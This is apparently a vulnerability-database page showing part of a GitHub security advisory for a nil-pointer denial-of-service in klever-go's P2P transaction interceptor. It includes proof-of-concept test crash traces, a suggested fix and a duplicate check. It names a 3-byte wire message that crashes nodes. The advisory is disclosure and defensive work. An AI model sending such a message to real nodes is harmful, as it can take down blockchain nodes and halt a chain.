.../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)\n        .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nResult B - generic `SingleDataInterceptor` (same root cause via the shared chain):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v\n=== RUN   TestPoC_NilRawData_SingleDataInterceptor\n--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nInterpretation\n- Both runs abort the process with SIGSEGV originating at `txVersionChecker.go:22`\n  (`tx.RawData.Version`), reached through the real interceptor\u0027s synchronous\n  `ProcessReceivedMessage` frame - the exact frame the recover-free libp2p pubsub\n  callback executes in production. A recover()-less crash here = full node process exit.\n- Round-trip check (production `tools/marshal.ProtoMarshalizer`): the malicious tx is\n  3 bytes `12 01 78` and decodes to `RawData == nil`, confirming the trigger is a\n  valid, attacker-craftable wire message (not a malformed blob rejected earlier).\n\n## Suggested fix\nPrimary (root cause) - make `CheckTxVersion` nil-safe / reject `RawData == nil` early:\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx == nil || tx.RawData == nil {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\tif tx.RawData.Version \u003c tvc.minTxVersion {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\nReturning a sentinel error here is already handled by the interceptors (they\nblacklist peers that send wrong-version transactions).\n\nDefense-in-depth:\n- Wrap the synchronous body of `pubsubCallback` (and/or `ProcessReceivedMessage`) in a\n  `recover()` so a single malformed message can never abort the process.\n- Audit the other direct `inTx.tx.RawData.*` dereferences in\n  `interceptedTransaction.go` (chainID/sender/contract/nonce/fee getters) for the same\n  nil-input class.\n\n## Duplicate check (vs published advisories)\nChecked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,\nGHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:\ndifferent root cause (nil `RawData` deref vs gzip OOM / throttler accounting / VM\nread-only isolation); the advisory texts never mention `RawData`, `CheckTxVersion`,\n`txVersionChecker`, or any nil/NULL deref. Those three advisories\u0027 fixes are already\npresent in the reviewed tree, yet `txVersionChecker.go:22` remains unpatched. It is\nadjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.",
  "id": "GHSA-rm5c-5x2p-48wr",
  "modified": "2026-06-09T18:40:35Z",
  "published": "2026-06-05T16:42:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…